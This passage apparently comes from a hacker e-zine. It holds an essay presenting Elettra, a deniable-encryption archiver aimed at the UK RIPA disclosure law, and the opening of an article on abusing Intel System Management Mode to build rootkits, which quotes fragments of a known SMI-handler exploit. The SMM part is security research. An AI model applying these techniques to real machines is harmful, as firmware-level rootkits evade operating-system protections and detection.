politicians. This explains why no one has yet seen a law making some real 
sense from a technological point of view and yet achieving its purposes 
(which usually consists of an increased sense of security). 

We think that we are the ones who can demonstrate that the Internet follows
different laws. That’s because we are the generation born with the Internet
and we are able to speak internet language enthusiastically. 
We, as developers, can not write laws nor directly challenge them, but we 
can develop software demonstrating from a practical point of view how wrong
these laws are.
It seems to us that this is the most effective and less painful way to show
politicians their mistakes and give citizens their freedom, ruled on the 
Internet by mathematical logics.

It is told by the Hacker Manifesto:

"I made a discovery today. I found a computer. Wait a second, this is cool.
It does what I want it to. If it makes a mistake, it’s because I screwed 
it up. Not because it doesn’t like me... Or feels threatened by me... Or 
thinks I’m a smart ass... Or doesn’t like teaching and shouldn’t be 
here..."

Mentor’s ideas in the 1986, and our ideas since then, are the same for all
the Internet users even now. If this freedom of acting is disturbing to 
someone, it’s our duty to remember that this freedom cannot be erased. 

The incentives to hack have changed, exposure may have become uncomfortable
...so an anonymous identity rises: julia@winstonsmith.info, dedicated to 
the spread of software written to demonstrate the inconsistency of laws 
to control and limit users and the Internet.

------[  1. What’s an incoherent law ?

As the tendency to create inadequate laws is increasing, for what concerns 
the control of the internet and its users, we felt the need to question 
this modus operandi.

The goal is to create software designed to demonstrate that most laws that
restrict and control the Internet are inadequate (unnecessary, 
counterproductive and risky). 

You, more than any other community, have the chance to demonstrate that 
any law trying to:

- regulate the Internet or computer use from a governmental point of view
- control users communications (by filtering and limiting them)

are not enforceable from a scientific point of view, because they are mere 
transposition of real life laws on the digital dimension.

In general, our line of action can rely on this logic:
- A law is promulgated (data retention, search profiling, forbidden 
  publishing...)
- We analyze two aspects: 
        1) the logical structure of the law, in order to understand its 
           bases
        2) the technical implementation of the law
- From (1) we can see and develop ideas not considered
- From (2) we can develop technical solutions 
- The news that the law is a failure has to be spread. In fact, our
  knowledge has no impact on politics, the audience and the users
  information if it remains in our hands.

One example of law-reversing-and-attack could be:
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1) Human side: A state deploys a law that forbids speaking about 
   cryptography
2) Tech side: being the domain owner of a website speaking of cryptography 
   lands you in jail.
3) Tech implementation: once the police is notified of the existence of a 
   server inside country boundaries serving forbidden content, an email is
   sent asking to remove the pages, or in a short time the domain owner 
   will be busted and the server unplugged. 

human countermeasure:

1a) Migrate to a free blog/website outside your country.

hacker countermeasure:

1a) Use a TOR hidden service, reachable through the Internet with a proxy 
    in another country [1]
1b) Use a FreeNET website [2]
1c) Post your content with an anonymous remailer to a mailing list [3]
1d) Publish your contents via peer to peer network using a digital 
    signature for trusted download, with the first node publishing the data
    outside the country. 
1e) Use a self decryption javascript site, capable to protect session
    layer and cutting off crawlers that don’t support javascript
    (-> open source intelligence too), in some free-blog outside our 
    country. [4]
1f) A distributed server like "project R*" from "Autistici/Inventati" [5].
1g) Use one of the other infinite solutions, because we should move 
    ourselves among the RFCs, spreading software automatically and always 
    find new ways to bypass the law description.

The Internet for the mere users is only "the web", whilst we have more 
possibilities. But we fail to keep our servers online, or to publish our
information without problems, because we are not using the best solutions
in strong encryption and network distribution.

------[  2. DEEP FOCUS, AND REAL TARGET: RIPA III
 
RIPA (investigation of electronic data protected by  encryption - power to 
require disclosure, [6]).

In practical terms, it is the possibility for an UK investigator to 
request the password protecting an encrypted file: in  case of refusal or 
impossibility to give the password, the user it is punishable with up to 
two years’ imprisonment.

Comparing this with the real life, it is the equivalent of a law requiring
a suspect to open his safe to investigators. But computers and the Internet
move on other schemes.
In addition, this law is specifically making the UK less secure. 
Let’s see why: 

- A person possessing an encrypted archive containing secrets potentially 
  incriminating for a more than 2 years punishment will accept the 2 years 
  imprisonment instead of revealing the password.

- The one whose encrypted archive doesn’t contain secrets incriminating, 
  but sensitive political, personal information, will give them to police 
  (or, more often, to private consultants that practically proceed with the
  forensic examination).

- Theoretical security is not achieved by delegating the power to control 
  to an institution, because if this is corrupted it would become the 
  gateway for any sort of abuse. Theoretical security can be achieved by 
  preventing future crime, not by applying controls in order to act as a 
  deterrent.

Following the logic presented in the point 2 of this document, a safer way
to avoid RIPA-III is to use a more sophisticated way of protection. 
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Encryption models use to define actors (Alice & Bob) and scenarios (with 
Mallory, Eve and the Family of Attack). The encryption model required to 
hide the data, and the presence of encrypted data, is steganography [7].
In our scenario it is enough to demonstrate the absence of encrypted data,
and cryptography offering a "plausible deniability" is our solution.

Deniable cryptography allows a user to protect his data by plausibly deny 
existence of hidden data inside an encrypted file. This kind of protection 
is very useful when the user is compelled to give up the password by 
violent or intimidating methods [8]. Different forms of deniable 
cryptography are currently used:
- TrueCrypt [9] implements full disk encryption. The image of a second 
  encrypted disk is hidden inside free sectors of a container filesystem. 
  Since a TrueCrypt disk is first filled with random data, it is not 
  possible to differentiate between free sectors with random data on them 
  and sectors with encrypted data of the hidden volume. As a consequence of
  this, the TrueCrypt user can plausibly deny existence of the hidden disk.
- OTR (Off-the-Record messaging) [10] is a cryptographic protocol that 
  provides strong encryption for instant messaging. After authenticating 
  the user (via key fingerprint comparison) it encrypts messages without 
  checking their digital signatures. This lack of integrity check allows 
  the sender of a message to plausibly deny sending that message since any 
  other user could have been the sender. 
- 2c2/4c [11]: It takes two input files and generates an output. 
  Depending on the password used it decrypts one file or the other.

The goal of deniable cryptography is to deny the existence itself of a 
piece of information. Steganography has the same goal (steganalysis is 
effective only after the existence of hidden data has been proven), but it 
is more ambitious in hiding the data to the adversary because it carefully 
chooses a container that prevents an analyst to realize that the container 
covers hidden information. In case of an encrypted file, the attacker 
already knows it could contain valuable information; the aim now becomes to
deny the existence of the data inside the exposed container: in such a
situation, deniable cryptography has higher signal-to-coverdata ratio 
compared to steganography. 

------[ 3. Elettra

Elettra can generate archives of multiple files where a different file is 
extracted depending on the password provided. 
This because the password used for encryption is not only an "information 
required for decrypt" one file in the archive, is also the "information 
required to find" a file in the archive. 
Every file is encrypted with its own password. Every password unlocks
a single file. Since elettra can add random padding to an archive, it’s 
impossible to determine how many files are contained in it.

Plausible deniability consists in allowing the user to deny existence of 
other files except the only file he revealed the password to.

Elettra bases its security on mathematical principles derived from 
reverse-engineering on the RIPA and its possible interpretations.

Elettra is a command line program developed for POSIX systems (tested under
Linux, cygwin and MacOSX). A GUI wrapper developed in wxWidgets has been 
developed and both software, with related gpg signature, are available at:

https://www.winstonsmith.info/julia/elettra

Despite the fact that the GUI was coded in a tenth of the time spent for 
Elettra, it helps a dramatically wider range of users to understand and use
the program. Usability and easiness of distribution of a software have 
rarely been a goal for hackers, but this time we want to highlight and 
spread a way of action/reaction made possible by open source technologies 
and a network able to quickly communicate a content. The GUI is a necessary
compromise between features and usability :)

How to use Elettra:
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user@linz:˜/elettra/src/build$ ./elettra        
./elettra by julia@winstonsmith.info, http://www.winstonsmith.info/julia
You should improve the quality of life, using privacy enhancing technology!
./elettra encrypt outputfile [size increment]% plainfile[::password] 
./elettra decrypt cipherfile [password] [output directory]
./elettra checkpass password(s)
./elettra example (show examples of use)
- passwords, if not available, is ask with echo off

Elettra in encrypt mode 

user@linz:/tmp$ ./elettra encrypt output 10% file1::passwd1 file1::passwd2
user@linz:/tmp$ ls -l file1 file2 output 
-rw-r--r-- 1 user user  7132 Jan 15 18:35 file1
-rw-r--r-- 1 user user 36287 Jan 15 18:35 file2
-rw-r--r-- 1 user user 29027 Jan 17 10:35 output

Further generation of /tmp/output file, with the same file/password:

-rw-r--r-- 1 user user 30744 Jan 17 10:36 output
-rw-r--r-- 1 user user 32018 Jan 17 10:36 output
-rw-r--r-- 1 user user 29533 Jan 17 10:36 output

One goal of the algorithm is that the outputs differ given the same input.
In practice you can keep the smallest output.

here are some outputs with a padding of 100%

-rw-r--r-- 1 user user 65198 Jan 17 11:43 output
-rw-r--r-- 1 user user 54336 Jan 17 11:43 output
-rw-r--r-- 1 user user 57579 Jan 17 11:43 output
-rw-r--r-- 1 user user 64938 Jan 17 11:43 output
-rw-r--r-- 1 user user 67284 Jan 17 11:43 output
-rw-r--r-- 1 user user 29219 Jan 17 11:43 output
-rw-r--r-- 1 user user 48946 Jan 17 11:43 output
-rw-r--r-- 1 user user 37260 Jan 17 11:43 output

and some with 1000%:

-rw-r--r-- 1 user user 247351 Jan 17 11:43 output
-rw-r--r-- 1 user user 109079 Jan 17 11:43 output
-rw-r--r-- 1 user user 303188 Jan 17 11:43 output
-rw-r--r-- 1 user user 301261 Jan 17 11:44 output
-rw-r--r-- 1 user user 290419 Jan 17 11:44 output
-rw-r--r-- 1 user user 288720 Jan 17 11:48 output
-rw-r--r-- 1 user user 114376 Jan 17 11:48 output
-rw-r--r-- 1 user user 169173 Jan 17 11:48 output
-rw-r--r-- 1 user user 197720 Jan 17 11:48 output
-rw-r--r-- 1 user user 114376 Jan 17 11:48 output
-rw-r--r-- 1 user user 266452 Jan 17 11:48 output

The third argument is the filename of the archive that is going to be 
created.
The fourth argument (optional) is the amount of random padding that will be
inserted at the beginning or appended at the end of the compressed archive.

Padding can vary between 10% and 1000%.

How encryption works in Elettra:

Elettra has five command: encrypt, decrypt, checkpass, help and example.

Is executed with: elettra command [args]

We want to encrypt file /tmp/ls-manpage and /tmp/ps-manpage. 
two file = two password we use "weirdness" and "foxnewsshower", the order 
link:
        ls-manpage (weirdness)
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        ps-manpage (foxnewsshower)

$ ./elettra encrypt /dev/shm/output 15% /tmp/ls-manpage::weirdness \
/tmp/ps-manpage::foxnewsshower

the size of our source file are:

$ ls -l /tmp/ls-manpage /tmp/ps-manpage 
-rw-r--r-- 1 user user  7132 Jan  8 05:57 /tmp/ls-manpage
-rw-r--r-- 1 user user 36287 Jan  8 05:57 /tmp/ps-manpage

The command line specifies 15% of random padding. Required args for the 
"encrypt" command, are the output file, the source files and the passwords.
If passwords are not inserted via command line, they are prompted 
interactively.

Before the encryption gzip compression is used, the output file is:

$ ls -l /dev/shm/output 
-rw-r--r-- 1 user user 42615 Jan  8 06:13 /dev/shm/output

Now we have an encrypted archive. The elettra decryption routine takes a 
password and, optionally, a destination directory:

$ ./elettra decrypt /dev/shm/output weirdness /dev/shm/
$ ls -l /dev/shm/
-rw-r--r-- 1 user user  7132 Jan  8 06:32 ls-manpage
-rw-r--r-- 1 user user 42615 Jan  8 06:13 output

If you want to check your passwords, use the command "checkpass":

./elettra checkpass actresss weirdness shoeless
password(s) combinations work ok, with password block of 512 bytes, use it.

If checkpass or encrypt command receive a bad password sequence, notice 
to the users.

This is how an elettra output file looks like:

RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
        /-- end of initial keyblock, start of data section --/
RRrrrrccccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddffffFILE1PPPPPRRRRRRRRRRRRRRRRRRRRRRrrrrcc
ccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddffffFILE2PPPPPRRRRRRRRRRRRRRRrrrrccccllllddddddddd
ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
ddddddddffffFILE3PPPPPRRRRRRRRRRRR

K = Key
C = checksum of password
R = random padding (before the entry point)
r = random encrypted bytes (used in AES CBC)
c = checksum of key
l = length of the compressed file
d = compressed data
f = length of filename
FILE1, FILE2, FILE3 names of decrypted file
P = encrypted padding to fill the minimum AES-128 block up to its end
Random padding is generated with cyclic SHA256 functions.

K and C are in the first segment, called "initial keyblock", the other 
components are the data in the elettra archive.

Here’s how the file is created:

encrypt takes OUTPUT PADDING FILE[1..N] PASSWORD[1..N] arguments

try for n in [1 .. N]
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        HASHp_n =hash(PASSWORD_n)

Each of these hashes is required for obtaining an unique number dependent
from the password.
This unique number (which is modulo the initial keyblock size) is named 
"entry point" thus obtaining an entry point for each file in the archive.
It is called entry point because it identifies the point where reading will
start at decryption time

 initial keyblock:

 /----------------- keyblock length: 512 + (x * 256) ----------------/

 +--------------+--+----+--+--------+--+----------------------+--+---+
 |              |  |    |  |        |  |                      |  |   |
 |  Random      |  | R  |  |  R     |  |    Random            |  |   |
 |              |  |    |  |        |  |                      |  |   |
 +--------------+--+----+--+--------+--+----------------------+--+---+
                ^ ^
                | |
  entry point --+ |
                  +- password block struct (32 byte)

The keyblock length is not hardcoded but its value is choosen in an 
adaptive way in such a way as to avoid password struct block collisions.
A collision occurs if two or more password struct blocks overlap.
Obviously a collision may disrupt the information contained in the initial
keyblock and as such it has to be avoided.

The password struct block is encrypted with the PASSWORD[1..N], and 
contains an unsigned int checksum and a 28 byte KEY[1..N]. 

This mean that each password computation identifies an entry point inside 
the initial keyblock where the key resides encrypted in 28 of the 32 byte 
of password struct block.  The other data in the initial keyblock are 
random.

This is the algorithm shown in pseudocode:

 for x in [1..12]:
 {
    size = (random_between(1, 12) * 256 ) + 512
    size = size + ( N * 256 )

    create keyblock[size]

    for n in [1..N]
       add_password_hash_to_keyblock(HASHp_n);

    if keyblock[size] has collision
       continue;
    else
       use size as good value
 }

When a keyblock size is found, continue to the next step: creation of
data section.

 for n in [1..N]:
 {
    GZ-FILE-LEN_n = gzip(FILE_n)
 }

 totalsize = keyblock size
 for n in [1..N]:
 {
    MIN-EP_n = totalsize;
    totalsize = totalsize + (GZ-FILE-LEN_n * PADDINDG% )
    MAX-EP_n = totalsize;
    totalsize = totalsize + GZ-FILE-LEN_n
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 }

In this step we’ll get the total length of the Elettra archive to build 
through using two arrays MIN-EP[1..N], MAX-EP[1..N] defined later.

Suppose to encrypt two elements:

         /----- GZ-FILE-LEN 1 ------/       /----- GZ-FILE-LEN 2 -----/
 +-------+--------------------------+-------+-------------------------+
 |       |                          |       |                         |
 |   R1  |       GZ-FILE1           |  R2   |      GZ-FILE2           |
 |       |                          |       |                         |
 +-------+--------------------------+-------+-------------------------+
 ^       ^                          ^       ^
 |       +--- MAX-EP1       MIN-EP2 +       |
 +- MIN-EP1                                 +-- MAX-EP2

R1 and R2 are two padding blocks. The dimension of these blocks depends 
on the padding % value, the size of the compressed file and a bit of 
random.

The entry point for identifying FILEn position MUST fall between MIN-EP_n 
and MAX-EP_n. 
This second entry point is derived from KEY_n and so the keys KEY[1..N] are
chosen in order to fulfill this requirement following the algorithm 
reported below:

 for n in [1..N]:
 {
   for x in [1..10000]:
   {
      KEY_n = random()
      HASHk_n = HASH(KEY_n)
      EP_n = HASHk_n % totalsize
      if( MIN-EP_n < EP_n < MAX-EP_n)
        return KEY_n;
   }
 }

     /----- GZ-FILE-LEN 1 -----/        /----- GZ-FILE-LEN 2 -----/
 +---+-------------------------+----+---+-------------------------+---+
 |   |                         |    |   |                         |   |
 | R |     GZ-FILE1            | R  | R |      GZ-FILE2           | R |
 | 1 |                         | 2  | 3 |                         | 4 |
 +---+-------------------------+----+---+-------------------------+---+
     ^                              ^   ^                         ^ 
     |                              |   |                         |
     +--EP1                MIN-EP2--+   + EP2                     + B

 R1 is the first block of random (from MIN-EP1 to EP1)
 R2 is the post file padding (from EP1 + GZ-FILE-LEN to MIN-EP2)

Every file is written between two random sequences of padding blocks. 
The length of each padding sequence is random. Every length is plausible 
before and after a given file, because the attacker doesn’t know the 
padding percentage requested at encryption time.

Now the algorithm has retrieve:

1) The length of inital keyblock
2) The entry points derived from the passwords
3) The keys
4) The padding sections
5) The internal structs used for keeping file names, file lengths and 
   checksums saved before the file data just after EP_n

Now it’s simply a matter of opening a file, writing the initial keyblock 
and the data section and save.

Decryption sequence for Elettra:
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1) Password and input file are given
2) The password is hashed and this value (referred as HASHp) is used to 
   search the initial keyblock size. The possible value are obtained with 
   the following algorithm

   for x in [1..80]:
     try_size = 512 + ( 256 * x );

   When the password is able to decrypt the first 32 bytes pointed by 
   HASHp modulo try_size and to verify the internal checksum, the initial 
   keyblock size is identified.
3) Read the key from the initial keyblock, decrypt it and evaluate its hash
   modulo the file total length.
4) Decrypt the first 32 bytes. If the checksum matchs, decrypt the file 
   length, decompress it and rename it with its original name.

Conclusions about algorithm: 

An analyst that will have to analyze files encrypted by using Elettra will
not be able to make any assumption a priori, since the algorithm aims at 
behaving randomly in order to make any output plausible. Every Elettra 
output file should contain one or more file, and is plausible assume that 
only one file had been encrypred, because the padding before and after the 
decrypted file seem plausible random padding.

The security of this algorithm is based on the propriety of encrypted data
to appear fully random over a statistical analysis. An attack which is able
to detect the difference between compressed+encrypted data and random data 
could exploit Elettra.

An example of plausible deniability:

The analyst has found a 1.4Mb long file, encrypted by using Elettra.
Using the user provided password, he extracts a .pdf file 2Mb long.
Then, the following is plausible:

A: the user has ran Elettra with a 40% proportional padding. The file size 
was 2Mb and it has been compressed in 1 Mb. Before the beginning and after 
the end of the file a total of 400k bytes of random padding has been added.

But it is also likely that:

B: the user has used a 2Mb long .pdf as covert file and a 200k file of 
secret data. The compressed size of the .pdf was 1Mb, but the other file 
could not be compressed anymore, so its size stayed 200k. From 1Mb 
compressed .pdf + 200k of secret file and a 16% proportional padding it has
been created the 1.4Mb resulting file.

Both cases are plausible: either way the analyst has a password that 
extracts a .pdf file 2Mb long that compresses in 1Mb. The analyst could 
then inspect which part of the file is decrypted, but the position of an 
encrypted file in the archive gives no information, since it is plausible 
that both before and after each file in the archive there is random data.

Elettra has been developed with these attacks and countermeasures in mind:

1) Files are encrypted with AES-128, random padding is the output of SHA 
   functions and it is also mathematically impossible to say if data is 
   encrypted or just random noise;
2) It is not possible to make assumptions based on the final size of the 
   archive (e.g. verifying if the padding is a whole quantity or a 
   fraction is useless because the proportional increase of dimension 
   supplied by the user is not used as is, but a new value is derived from 
   it;
3) Checksums used to verify integrity of passwords are implemented, and
   are checked before the decryption of files;
4) In algorithms that work in CBC mode, first bytes are initialized with 
   random data to make cryptography stronger;
5) The probability distribution of random data is equal at the beginning 
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   and at end of the encrypted file.
6) Minimum password length is 6 bytes. 
7) Disclose a password or a key doesn’t give to the attacker any 
   information useful for attacks. 

Elettra counts more or less 1600 lines of source code. Every other coder 
could have found other ways to accomplish the same task, even less complex 
than the one presented in this article that requires to remember multiple 
different passwords. In such kind of program there is always room for 
improvements. The important thing to think about is that in a couple of 
weeks somebody could develop something unforseen and unexpected by laws, 
but still perfectly legal.

------[  4. THE ANONYMOUS IDENTITY: julia@winstonsmith.info

The name Julia comes from the novel "1984", as the whole Winston Smith 
Project. Julia shows to Winnie the way, the tools and the motives for 
freedom. Thus, this Julia - just when the Internet is fighting for its 
freedom - wants to be the one who demonstrates how laws written by 
politicians are incoherent, inconsistent, unnecessary.

Spreading techniques aimed to the human rights protection on the Internet
have a goal that is not related to personal visibility. On the contrary, in
some cases personal safety can be endangered by the spreading of the 
technique. Thus, other spreading techniques have to be evaluated.

We created an anonymous group identity to have a single reference point 
(a name, a keyword, an ideal). This experiment brings us some advantages:
- Visibility is obtained as a collective effort, and can survive the single
  work
- Coders minimize legal and personal risks
- Both individual confrontation and preservation of one’s identity inside
  the group are diminished 
- At the moment there is no central blog or web site, as centralizing means
  being exposed to the risk of being censored, attacked or to draw unneeded
  attention
- The collective identity identifies itself through a digital signature, 
  and media can be distributed using p2p, web sites, blogs, usenet.
  The most choices we have, the most options we can consider.
- We are a network made up of people around the world with the skills, 
  the knowledge and the ability to deeply understand problems related with
  our countries.

Those who want to team up with julia@winstonsmith.info can write an email
message (we strongly suggest using an anonymous remailer or TOR and a throw
away email address).

The anonymous identity will not have a web site to express itself, Elettra
gets served from url http://www.winstonsmith.info/julia/elettra.
Please note that this is done just for convenience, and has no relationship
with the anonymous identity.

The only way to verify the authenticity of the source is the digital 
signature of media using the following key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.7 (Darwin)
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-----END PGP PUBLIC KEY BLOCK-----

Whoever shares the objectives of the Julia project can contact the address
julia@winstonsmith.info (anonymously or not).

Future objectives are not clear, still.
It would be interesting to put together a list of all the world’s laws and 
the technologies which render them useless. Somewhere this activity may be 
seen as misdemeanor incitement, that’s why we choose an anonymous identity,
and no fixed media to publish material.

Julia was not born by the will of a single person, but because we felt the
need of other people to be able to share and give information and 
techologies that can help build freedom of expression, privacy rights, 
technological awareness. Julia is just a landmark, whoever shares the same 
aims can pursue them without it.

No vendor and no State, however much we can respect it, can rule the 
Internet. Open technologies belong to everybody.
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                                        "Very nice! How much?"
                                                - Borat Sagdyiev
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------[ 1 - Introduction

This article will try to explain some details about the Intel Architecture
[1] and how it can be manipulated by a malicious user to create a complete
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hardware-protected malware.

Also, since the main focus of the article are the System Management Mode 
[1] features, we will go into details of the Duflot [2] study and beyond,
showing how to create a stable system running inside the SMM [3].

It’s important to mention that everything showed here is really
processor-bridges-dependent (we are focusing on Intel processors [1]).

Since inside the SMM a malware could manipulate the whole system memory, it
can be used to modify kernel structures and create a powerful rootkit.

---[ 1.1 - Paper structure

The idea of this paper is to complete the studies about SMM, explaning how 
to use it for evil purposes.

For that, the paper have been structured in two important portions:
        
Chapter 2 will give a basic knowledge of the Pentium modes of operation
(needed to better understand the other portions of the chapter) and them 
will introduce what was the Duflot discoveries related to that.  After that
the chapter will explain what Duflot missed, explaining why the system
behaves in the way that permits our uses, and introducing the SMM internals
and our library to manipulate the SMM.
Chapter 3 will explain how to use the SMM for evil purposes, explaning
the challenges to use the SMM and giving pratical samples on the use of our
library.

------[ 2 - System Management Mode

From the Intel manuals [1]:
        "The Intel System Management Mode (SMM) is typically used to execute
specific routines for power management. After entering SMM, various parts 
of a system can be shut down or disabled to minimize power consumption. SMM
operates independently of other system software, and can be used for other
purposes too."

Everytime we read something like "and can be used for other purposes" we
start to think: what the hell?  What kind of other purposes?

It’s interesting that every single sample in the Internet just points to
energy-related uses of the SMM, and says nothing about other purposes.

In 2006, Duflot and others [2] released a paper about how to use the SMM to
circumvent operating system protections.  It was the first time that a
misuse of the SMM was shown, and it gave some ideas (like how to put a code
in SMM,  how to manipulate the system memory inside SMM and how to force a
system to enter the SMM), leaving open many questions that will be answered
here (how to create a really stable code to subvert the SMM, how to
manipulate the SMM registers, difficulties in create a stable system
running inside the SMM and why the system behaves in the way he just said
in the paper).

---[ 2.1 - Pentium modes of operation

Everybody already knows about the modes of operation of the P6 family of
processors.

Real-mode is a 16-bit addressing mode, keept for legacy purposes and 
nowadays just used in the boot process.  Protected mode is a 32-bit mode 
and provides the protection model used by the modern operation systems.

The Virtual 8086 mode have been introduced to garantee greater efficiency 
when running programs created for older architectures (such as 8086 and 
8088).
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The System Management Mode (SMM) is another mode of operation that, as 
already said, is supposed to be used to manage power functions.

Volume 3 of the Intel processor manuals [1] already explained the 
acceptable transitions between those modes:

         -------------------                    SMI (interrupt)
      |->|Real Address Mode| -------------------------------------------|
      |  ------------------- <----------------------------------|       |
      |  | PE=1    ^ PE=0 (requires ring0) or                   |rsm or |
      |  v         | reset                                      |reset  V
      |  -------------------                                    ---------
reset |  | Protected Mode  | -------> SMI (interrupt) ------> | SMM Mode |
      |  ------------------- <------- rsm instruction <------   ---------
      |  | VM=1    ^ VM=0                                       |       ^
      |  v         |                                            |rsm    |
      |  ------------------- <----------------------------------|       |
      |- |Virtual 8086 Mode| -------------------------------------------|
         -------------------                    SMI (interrupt)

P.S.: PE and VM are flags of the CR0 (control register 0)

Basically what we need to get from here is:
        - Any mode of operation in the intel platform can make a transition to
        the SMM mode if an SMI interrupt is issued.
        - SMM mode will return to the previous mode by issuing a rsm
        instruction (so the processor will read a saved-state to restore the
        system to the previous situation before enter the SMM).

---[ 2.2 - SMM Overview

First of all, when the system enters the SMM mode, the whole processor 
context must be saved in a way so that it can be restored later. By doing 
so, the processor can enter in a special execution context and start 
executing the SMI handler.  To return from this mode there is the special
instruction RSM (can be used just inside the SMM itself) that will read the
saved context and return to the previous situation).

Also, in SMM the paging is disabled and you have a 16-bit mode of operation
, but all physical memory can be addressed (more on this later).

There are no restrictions to the I/O ports or memory, so we have the same
privileges as in Ring 0 (in fact, from SMM someone can just manipulate all
the system memory).

What Duflot showed is a way to put your own SMI handler, force the 
processor to enter the SMM mode, change the system memory to bypass a 
security protection (in his case, the securelevel of an OpenBSD system) and
then execute his own code changing the saved context to point to it.

---[ 2.2.1 - SMRAM

The System Management Mode has a dedicated memory zone called SMRAM.  It’s
located in the 0x1FFFF bytes starting at SMBASE (it may be bigger if the 
system activates Extented SMRAM).

The default value of SMBASE is 0x30000, but since modern chipsets offer
relocation, it’s commonly seen as 0xA0000 (BIOS relocates it to the same
memory-mapped base address used by the I/O ports of the video card).

As spotted by Duflot, the memory controller hub has a control register 
called SMRAM Control Register that offers a bit (D_OPEN - bit 6) that, when
it’s set, makes all memory accesses to the address space starting at SMBASE
be redirected to SMRAM.

If the processor is not in the SMM mode and the D_OPEN bit is not set, all 
accesses to the SMRAM memory range are forwarded to the video card (when it
have been relocated to the shared address as said) - giving a protection to
the SMRAM, which we will use later to protect the malware).  Else, if the 
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D_OPEN bit is set, the memory addressed will be the SMRAM.  

Another important thing he showed concerning the handler is the bit number 
4 (D_LCK) of the SMRAM Control Register, which, when set, protects the 
SMRAM control register and thus, the SMRAM memory itself, if the D_OPEN bit
was not set at the time the control register was locked. To change it, the
system needs to reboot (which gives us a challenge, since most modern BIOS
will lock it).

It’s well detailed in the Intel Manuals, but the fact that a super-user
could write to it using the video device and then force a SMI to be 
triggered was really new.

When entering the SMM the processor will jump to the pysical address
SMBASE+0x8000 (which means that the SMI handler must be located at the 
offset 0x8000 inside the SMRAM). Since when the D_OPEN bit is set we can 
put some code in the SMRAM, we just need to force an SMI trigger to get 
our code executed.

                 -----------------
SMBASE+0x1FFFF  |                 |
                |                 |
                |                 |
                |                 |
SMBASE+0xFFFF    -----------------
                |                 |
                | State save area |
                |                 |
SMBASE+0xFE00    -----------------
                |                 |
                | Code,Heap,Stack |
                |                 |
SMBASE+0x8000    ----------------- ----> First SMI Handler instruction
                |                 |
                |                 |
                |                 |
SMBASE=0xA0000   -----------------

---[ 2.2.2 - SMI handler

Since we will set the D_OPEN bit we need some way to avoid the display 
usage, since all access to the video memory will be forwarded to SMRAM and 
not to the video card. Duflot does not explain how it is possible, since 
his sample was for OpenBSD and it assumed there was no one using the video
card (he showed an exploit for an OpenBSD problem but as a requisite, 
there is no one using the X, for example).

In our samples, we will also show how to manipulate the registers directly,
but we will use the libpci [4] to guarantee no problems with this (since 
the libpci uses the system interfaces to manipulate the PCI subsystem 
avoiding race conditions in the resource usage).  It’s also more portable,
because libpci as we will show supports a lot of different operating 
systems.

So, to insert the handler the attacker needs to:
        - Verify if the D_LCK bit is not set
        - Set the D_OPEN bit
        - Have access to the memory address space (in the sample,
          0xA0000-0xBFFFF)

To access the memory we can just mmap the memory range using the /dev/mem 
device, because it provides access to the physical address space 
(instead of the virtual vision provided by the /dev/kmem for example).

---[ 2.2.3 - SMI Triggering

Since the SMI signal is a hardware-generated interrupt there is no 
instruction to generate it by software. The chipset may generate it, but 
_when_ it does depends on the chipset [5][6].
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Duflot also already explained in his paper the SMI_EN register, where the 
least significant bit is a global enable, specifying whether SMIs are 
enabled or not (the other bits of SMI_EN then control which devices can 
generate an SMI).

The SMI_STS register keeps track of which device last caused an SMI.

These registers can be accessed using the regular PCI mechanisms ("in" and
"out"). The position of those register are variable, but they are in a
relative address to PMBASE (SMI_EN=PMBASE+0x30 and SMI_STS=PMBASE+0x34).

The PMBASE can be accessed using bus 0, device 0x1F, function 0 and offset 
0x40.

More details of the PCI configuration mechanisms in the section 2.3.1.

---[ 2.2.4 - Duflot discovery - Exploit

In his paper Duflot & friends showed a working exploit against OpenBSD.  
This will be our first code to be analyzed (also attached with small 
modifications to work on Linux).

As can be seen, the code will have problems if there is an X Server running
,since it just forwards all video memory access to the SMRAM.

Since the Linux operating system (as most of unixes) provides a way to rise
the I/O privilege level in the user-mode, the exploit is using that in a 
way it can use the instructions in/out:

        if(iopl(3) < 0) {

To get access to the SMRAM, the D_OPEN bit must be set:
        outl(data1, 0xcf8);
        outl(data2, 0xcfc);

Also here, we can easily see that, in the handler, it is doing the 
following:

        addr32 mov $test, %eax
        mov %eax, %cs:0xfff0

Here we have that the offset 0xfff0 is the saved EIP in the saved-state map
inside the SMRAM. By doing so, it is just putting the address of a function
in the saved-state map, so when the system triggers the rsm instruction 
it will return to protected mode, but now executing the test() function 
(the saved EIP).

Duflot discovered that accessing the Programmed I/O Port 0xB2 with the bit 
5 of SMI_EN set will generate an SMI:

        outl(0x0000000f, 0xb2);

For sure it’s really funny... but what else can be done with that?

---[ 2.3 - Duflot misses

In his paper Duflot does not explain how the PCI Configuration really works
(for example, he just pointed to use the port 0xCF8 for address and port 
0xCFC to perform the operation itself). Also, he never said when and why 
the system generates a SMI.  The idea of use the SMM to manipulate the 
system memory can also be really expanded, to create a malware running 
inside the SMM, or to bypass boot-protections and many others (like create 
a system protection mechanism running on it).

The rest of this chapter and the next one will show many details about how
the SMM works and what we can use inside the SMM.  Also, will better
explain how to analyse the system and create a portable library to 
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manipulate the SMM-related registers.

---[ 2.3.1 - PCI Configuration

The original PCI specification [11] defined two mechanisms for i386 PCs, 
but later specifications deprecated one of these ways. Since this 
specification is not free, we highly recommend you to read a book about 
that [12].

Basically, you have two I/O port ranges: one associated to the address port
(0xCF8-0xCFB) and the other to the data port (0xCFC-0xCFF).

To configure a device, you must write to the address port which device and
register you want to access and then read/write the data from/to the data
port.

The rule about the format of the data written to the address port is as 
following:

Bits    Description
0..1    00b (always 0)
2..7    Which 32-bit space in the config space to access
8..10   Device function
11..15  Device Number

A complete list of PCI vendors and devices can be found in [13].

PCI devices have an address which is broken down into a PCI-bus number, a
device number within that bus (values 0-31), and a function number within
the device (values 0-7).

